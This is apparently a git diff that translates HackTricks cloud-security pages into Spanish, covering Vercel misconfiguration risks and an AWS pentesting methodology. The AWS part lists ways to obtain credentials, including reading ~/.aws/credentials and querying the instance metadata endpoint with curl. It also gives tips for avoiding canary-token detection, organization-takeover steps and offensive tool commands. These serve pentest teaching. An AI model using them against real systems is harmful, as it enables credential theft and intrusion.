- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta opción invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control.
+- **Mala Configuración:**
+- Especificar el dominio de correo electrónico incorrecto o un dominio mal escrito en la configuración del Dominio de Correo Electrónico del Equipo.
+- Usar un dominio de correo electrónico común (por ejemplo, `gmail.com`, `hotmail.com`) en lugar de un dominio específico de la empresa.
+- **Riesgos:**
+- **Acceso No Autorizado:** Usuarios con direcciones de correo electrónico de dominios no deseados pueden recibir invitaciones para unirse a tu equipo.
+- **Exposición de Datos:** Exposición potencial de información sensible del proyecto a individuos no autorizados.
+- **Ámbitos de Git Protegidos:** Te permite agregar hasta 5 ámbitos de Git a tu equipo para evitar que otros equipos de Vercel implementen repositorios del ámbito protegido. Múltiples equipos pueden especificar el mismo ámbito, permitiendo el acceso a ambos equipos.
+- **Mala Configuración:** No agregar ámbitos de Git críticos a la lista protegida.
+- **Riesgos:**
+- **Implementaciones No Autorizadas:** Otros equipos pueden implementar repositorios de los ámbitos de Git de tu organización sin autorización.
+- **Exposición de Propiedad Intelectual:** Código propietario podría ser implementado y accesado fuera de tu equipo.
+- **Políticas de Variables de Entorno:** Hace cumplir políticas para la creación y edición de las variables de entorno del equipo. Específicamente, puedes hacer cumplir que todas las variables de entorno se creen como **Variables de Entorno Sensibles**, que solo pueden ser desencriptadas por el sistema de implementación de Vercel.
+- **Mala Configuración:** Mantener la aplicación de variables de entorno sensibles deshabilitada.
+- **Riesgos:**
+- **Exposición de Secretos:** Las variables de entorno pueden ser vistas o editadas por miembros no autorizados del equipo.
+- **Filtración de Datos:** Información sensible como claves API y credenciales podría ser filtrada.
+- **Registro de Auditoría:** Proporciona una exportación de la actividad del equipo por hasta los últimos 90 días. Los registros de auditoría ayudan a monitorear y rastrear acciones realizadas por los miembros del equipo.
+- **Mala Configuración:**\
+Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
+- **Riesgos:**
+- **Violaciones de Privacidad:** Exposición de actividades y datos sensibles de usuarios.
+- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para encubrir sus huellas.
+- **SAML Single Sign-On:** Permite la personalización de la autenticación SAML y la sincronización de directorios para tu equipo, habilitando la integración con un Proveedor de Identidad (IdP) para autenticación y gestión de usuarios centralizadas.
+- **Mala Configuración:** Un atacante podría crear una puerta trasera en la configuración del Equipo estableciendo parámetros SAML como ID de Entidad, URL de SSO o huellas digitales de certificados.
+- **Riesgo:** Mantener persistencia
+- **Visibilidad de Direcciones IP:** Controla si las direcciones IP, que pueden considerarse información personal bajo ciertas leyes de protección de datos, se muestran en consultas de Monitoreo y Drenajes de Registro.
+- **Mala Configuración:** Dejar habilitada la visibilidad de direcciones IP sin necesidad.
+- **Riesgos:**
+- **Violaciones de Privacidad:** No cumplimiento con regulaciones de protección de datos como GDPR.
+- **Repercusiones Legales:** Posibles multas y sanciones por manejo inadecuado de datos personales.
+- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear. Las solicitudes bloqueadas no contribuyen a tu facturación.
+- **Mala Configuración:** Podría ser abusada por un atacante para permitir tráfico malicioso o bloquear tráfico legítimo.
+- **Riesgos:**
+- **Denegación de Servicio a Usuarios Legítimos:** Bloqueo de acceso para usuarios o socios válidos.
+- **Interrupciones Operativas:** Pérdida de disponibilidad del servicio para ciertas regiones o clientes.
---
-### Secure Compute
+### Cómputo Seguro
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute** permite conexiones seguras y privadas entre Funciones de Vercel y entornos de backend (por ejemplo, bases de datos) estableciendo redes aisladas con direcciones IP dedicadas. Esto elimina la necesidad de exponer servicios de backend públicamente, mejorando la seguridad, el cumplimiento y la privacidad.
-#### **Potential Misconfigurations and Risks**
+#### **Posibles Mala Configuraciones y Riesgos**
-1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **Selección Incorrecta de Región de AWS**
+- **Mala Configuración:** Elegir una región de AWS para la red de Cómputo Seguro que no coincida con la región de los servicios de backend.
+- **Riesgo:** Aumento de latencia, posibles problemas de cumplimiento de residencia de datos y degradación del rendimiento.
+2. **Bloques CIDR Superpuestos**
+- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPCs existentes u otras redes.
+- **Riesgo:** Conflictos de red que llevan a conexiones fallidas, acceso no autorizado o filtración de datos entre redes.
+3. **Configuración Incorrecta de Peering de VPC**
+- **Mala Configuración:** Configurar incorrectamente el peering de VPC (por ejemplo, IDs de VPC incorrectos, actualizaciones incompletas de la tabla de rutas).
+- **Riesgo:** Acceso no autorizado a la infraestructura de backend, conexiones seguras fallidas y posibles filtraciones de datos.
+4. **Asignaciones Excesivas de Proyectos**
+- **Mala Configuración:** Asignar múltiples proyectos a una sola red de Cómputo Seguro sin el aislamiento adecuado.
+- **Riesgo:** La exposición de IP compartida aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros.
+5. **Gestión Inadecuada de Direcciones IP**
+- **Mala Configuración:** No gestionar o rotar adecuadamente las direcciones IP dedicadas.
+- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IPs están asociadas con actividades maliciosas.
+6. **Incluir Contenedores de Construcción Innecesariamente**
+- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso al backend durante las construcciones.
+- **Riesgo:** Superficie de ataque expandida, retrasos en la provisión y consumo innecesario de recursos de red.
+7. **Falta de Manejo Seguro de Secretos de Bypass**
+- **Mala Configuración:** Exponer o manejar incorrectamente secretos utilizados para eludir protecciones de implementación.
+- **Riesgo:** Acceso no autorizado a implementaciones protegidas, permitiendo a los atacantes manipular o implementar código malicioso.
+8. **Ignorar Configuraciones de Failover de Región**
+- **Mala Configuración:** No configurar regiones de failover pasivas o configurar incorrectamente las configuraciones de failover.
+- **Riesgo:** Tiempo de inactividad del servicio durante interrupciones en la región principal, llevando a una disponibilidad reducida y posible inconsistencia de datos.
+9. **Exceder Límites de Conexión de Peering de VPC**
+- **Mala Configuración:** Intentar establecer más conexiones de peering de VPC de las permitidas (por ejemplo, exceder 50 conexiones).
+- **Riesgo:** Incapacidad para conectar de manera segura los servicios de backend necesarios, causando fallos en las implementaciones y interrupciones operativas.
+10. **Configuraciones de Red Inseguras**
+- **Mala Configuración:** Reglas de firewall débiles, falta de cifrado o segmentación de red inadecuada dentro de la red de Cómputo Seguro.
+- **Riesgo:** Intercepción de datos, acceso no autorizado a servicios de backend y mayor vulnerabilidad a ataques.
---
-### Environment Variables
+### Variables de Entorno
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Propósito:** Administrar variables y secretos específicos del entorno utilizados por todos los proyectos.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Exposición de Variables Sensibles**
+- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente.
+- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
+- **Sensibles deshabilitados**
+- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
+- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..a679270ec 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**Antes de comenzar el pentesting** en un **AWS** ambiente, hay algunas **cosas básicas que necesitas saber** sobre cómo funciona AWS para ayudarte a entender qué necesitas hacer, cómo encontrar configuraciones incorrectas y cómo explotarlas.
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+Conceptos como la jerarquía de organización, IAM y otros conceptos básicos se explican en:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Labs to learn
+## Laboratorios para aprender
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
-Tools to simulate attacks:
+Herramientas para simular ataques:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodology
+## Metodología de Pentester/Red Team de AWS
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de AWS y los **servicios externos**.
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- **Filtraciones** en github (o similar) - OSINT
+- **Ingeniería** Social
+- Reutilización de **contraseñas** (filtraciones de contraseñas)
+- Vulnerabilidades en Aplicaciones Alojadas en AWS
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos
+- **Lectura de Archivos Locales**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- **terceros** **comprometidos**
+- Empleado **Interno**
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales
-Or by **compromising an unauthenticated service** exposed:
+O comprometiendo un **servicio no autenticado** expuesto:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+O si estás haciendo una **revisión**, podrías simplemente **pedir credenciales** con estos roles:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica:
-## Basic Enumeration
+## Enumeración Básica
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+Si encontraste un SSRF en una máquina dentro de AWS, revisa esta página para trucos:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+Una de las primeras cosas que necesitas saber es quién eres (en qué cuenta estás y otra información sobre el ambiente de AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\
+> Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
-### Org Enumeration
+### Enumeración de Org
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
-### IAM Enumeration
+### Enumeración de IAM
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+Si tiene suficientes permisos, **verificar los privilegios de cada entidad dentro de la cuenta de AWS** le ayudará a entender qué puede hacer usted y otras identidades y cómo **escalar privilegios**.
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+Si no tiene suficientes permisos para enumerar IAM, puede **robarlos mediante fuerza bruta** para averiguarlos.\
+Verifique **cómo realizar la enumeración y la fuerza bruta** en:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Ahora que **tiene algo de información sobre sus credenciales** (y si es un equipo rojo, espero que **no haya sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\
+> En la siguiente sección puede verificar algunas formas de **enumerar algunos servicios comunes.**
-## Services Enumeration, Post-Exploitation & Persistence
+## Enumeración de Servicios, Post-Explotación y Persistencia
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+Tenga en cuenta que **no** necesita realizar todo el trabajo **manualmente**, a continuación en esta publicación puede encontrar una **sección sobre** [**herramientas automáticas**](./#automated-tools).
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+Además, en esta etapa puede haber descubierto **más servicios expuestos a usuarios no autenticados**, podría ser capaz de explotarlos:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-## Privilege Escalation
+## Escalación de Privilegios
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **verificar si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
{{#ref}}
aws-privilege-escalation/
{{#endref}}
-## Publicly Exposed Services
+## Servicios Expuestos Públicamente
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+Mientras enumera los servicios de AWS, puede haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\
+Como pentester/equipo rojo, siempre debe verificar si puede encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarle **más acceso a la cuenta de AWS**.
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+En este libro debería encontrar **información** sobre cómo encontrar **servicios de AWS expuestos y cómo verificarlos**. Sobre cómo encontrar **vulnerabilidades en servicios de red expuestos**, le recomendaría **buscar** el **servicio** específico en:
{{#ref}}
https://book.hacktricks.xyz/
{{#endref}}
-## Compromising the Organization
+## Comprometiendo la Organización
-### From the root/management account
+### Desde la cuenta raíz/administrativa
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+Cuando la cuenta de administración crea nuevas cuentas en la organización, se crea un **nuevo rol** en la nueva cuenta, llamado por defecto **`OrganizationAccountAccessRole`** y otorgando la política de **AdministratorAccess** a la **cuenta de administración** para acceder a la nueva cuenta.
-So, in order to access as administrator a child account you need:
+Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador.
+- Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts`
+- No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**.
+- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
-## Automated Tools
+## Herramientas Automatizadas
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Una herramienta de **colección de inventario** enfocada en la seguridad de AWS, multihilo, escrita en Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría para problemas de seguridad.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más en una vista gráfica intuitiva respaldada por la base de datos Neo4j.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta es una herramienta que intenta **descubrir todos** los [**recursos de AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) creados en una cuenta.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Es una herramienta para **obtener todas las direcciones IP públicas** (tanto IPv4/IPv6) asociadas con una cuenta de AWS.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**.
+- Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar la **escalada de privilegios** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
